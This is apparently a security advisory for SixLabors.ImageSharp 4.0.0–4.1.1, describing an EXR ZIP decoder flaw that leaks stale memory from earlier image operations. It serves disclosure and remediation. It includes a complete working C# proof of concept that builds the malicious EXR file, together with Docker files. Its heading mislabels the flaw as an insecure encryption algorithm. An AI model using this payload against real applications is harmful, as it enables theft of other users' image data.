Insecure encryption algorithm In sixlabors.imagesharp
Description
ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate ## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: SixLabors.ImageSharp (NuGet) - Affected published releases: 4.0.0, 4.1.0, and 4.1.1 - Affected range: >= 4.0.0, <= 4.1.1 - Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, ExrDecoderCore allocates the expected block buffer without AllocationOptions.Clean and later interprets the complete buffer as channel data. ZipExrCompression accepts a partial but non-empty inflate result: UndoZipCompression rejects only totalRead == 0. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. ExrDecoderCore then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value 0.27182817. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}"); Console.WriteLine($"mode={(exploit ? "exploit" : "control")}"); EncodePriorOperation(); // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024 // uncompressed bytes. The control payload supplies all 1024 bytes. // The exploit payload supplies eight non-empty bytes. byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float)); using Image<RgbaVector> result = Image.Load<RgbaVector>( new DecoderOptions { Configuration = Configuration.Default }, new MemoryStream(exr)); result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory); int firstLeak = FindPriorValue(memory.Span); Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}"); Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}"); if ((firstLeak >= 0) != exploit) { Console.Error.WriteLine("unexpected disclosure result"); return 1; } return 0; } private static void EncodePriorOperation() { using var previousImage = new Image<RgbaVector>(PriorWidth, 1); for (int x = 0; x < PriorWidth; x++) { previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f); } using var encoded = new MemoryStream(); previousImage.Save(encoded, new ExrEncoder { Compression = ExrCompression.Zips, PixelType = ExrPixelType.Float, }); Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}"); } private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels) { int expectedBits = BitConverter.SingleToInt32Bits(PriorValue); for (int x = 0; x < pixels.Length; x++) { if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits) { return x; } } return -1; } private static byte[] BuildAttackerExr(int inflatedBytes) { byte[] compressed = ZlibCompress(new byte[inflatedBytes]); using var output = new MemoryStream(); using var writer = new BinaryWriter(output); writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic writer.Write((byte)2); writer.Write(new byte[] { 0, 0, 0 }); using (var channels = new MemoryStream()) using (var channelWriter = new BinaryWriter(channels)) { WriteString(channelWriter, "R"); channelWriter.Write(2); // FLOAT channelWriter.Write((byte)0); channelWriter.Write(new byte[] { 0, 0, 0 }); channelWriter.Write(1); channelWriter.Write(1); channelWriter.Write((byte)0); WriteAttribute(writer, "channels", "chlist", channels.ToArray()); } WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS WriteBox(writer, "dataWindow"); WriteBox(writer, "displayWindow"); WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 }); byte[] one = new byte[4]; BinaryPrimitives.WriteSingleLittleEndian(one, 1F); WriteAttribute(writer, "pixelAspectRatio", "float", one); WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]); WriteAttribute(writer, "screenWindowWidth", "float", one); writer.Write((byte)0); // end of header long chunkOffset = output.Position + sizeof(ulong); writer.Write((ulong)chunkOffset); writer.Write((uint)0); // scanline writer.Write((uint)compressed.Length); writer.Write(compressed); writer.Flush(); return output.ToArray(); } private static void WriteBox(BinaryWriter writer, string name) { using var value = new MemoryStream(); using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true)) { box.Write(0); box.Write(0); box.Write(AttackerWidth - 1); box.Write(0); } WriteAttribute(writer, name, "box2i", value.ToArray()); } private static byte[] ZlibCompress(byte[] source) { using var compressed = new MemoryStream(); using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true)) { zlib.Write(source, 0, source.Length); } return compressed.ToArray(); } private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value) { WriteString(writer, name); WriteString(writer, type); writer.Write(value.Length); writer.Write(value); } private static void WriteString(BinaryWriter writer, string value) { writer.Write(Encoding.ASCII.GetBytes(value)); writer.Write((byte)0); } } Project file: xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <Nullable>enable</Nullable> <ImplicitUsings>enable</ImplicitUsings> </PropertyGroup> <ItemGroup> <PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /> </ItemGroup> </Project> Dockerfile: dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /poc COPY final-4q3p.csproj Program.cs ./ # program is still compiled against the published 4.1.1 NuGet assembly. RUN dotnet restore && dotnet build -c Debug --no-restore ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"] Run: ```sh docker build
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
nuget | 4.1.2 |
Aliases
References